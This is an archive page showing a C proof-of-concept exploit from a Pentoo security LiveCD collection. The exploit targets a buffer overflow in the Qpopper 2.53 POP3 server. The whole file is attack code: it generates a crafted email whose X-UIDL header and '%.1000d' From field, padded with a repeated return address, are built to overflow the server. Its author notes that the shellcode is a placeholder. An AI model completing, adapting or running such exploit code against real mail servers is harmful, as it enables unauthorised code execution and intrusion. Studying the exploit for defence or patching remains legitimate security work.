home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / b0f-qpop-2.53.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  46 lines

  1. /*  qpop_euidl.c exploit by prizm/Buffer0verflow Security
  2.  *
  3.  *  Sample exploit for buffer overflow in Qpopper 2.53.
  4.  *  This little proggie generates a mail u need to send.
  5.  *
  6.  *  Standard disclaimer applies.
  7.  *  By the way, exploit is broken =) You need to insert shellcode.
  8.  *
  9.  *  MAD greets to tf8 for pointing out the bug, and all other b0f members.
  10.  *  greets to USSRLabs and ADM
  11.  *  check http://b0f.freebsd.lublin.pl/ for news.
  12.  */
  13. #include <stdio.h>
  14. #include <string.h>
  15.  
  16. char shellcode[]="imnothing";
  17. int main(int argc, char *argv[])
  18. {
  19.   int i;
  20.   unsigned long ra=0;
  21.   if(argc!=2)
  22.     {
  23.       fprintf(stderr,"Usage: %s return_addr\n", argv[0]);
  24.       exit(0);
  25.     }
  26.   sscanf(argv[1], "%x", &ra);
  27.   if(!ra)
  28.     return;
  29.   if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76)
  30.     {
  31.       fprintf(stderr,"Bad shellcode\n");
  32.       exit(0);
  33.     }
  34.   fprintf(stderr,"return address: 0x%.8x\n", ra);
  35.   printf("X-UIDL: ");
  36.   for(i=0; i < sizeof(shellcode);i++)
  37.     printf("%c", shellcode[i]);
  38.   printf("\r\n");
  39.   printf("From: %s", "%.1000d");
  40.   for(i=0; i < 50; i++)
  41.     printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24);
  42.   printf("@test\r\n");
  43.   printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");
  44.   return 0;
  45. }
  46. /*                    www.hack.co.za           [24 May 2000]*/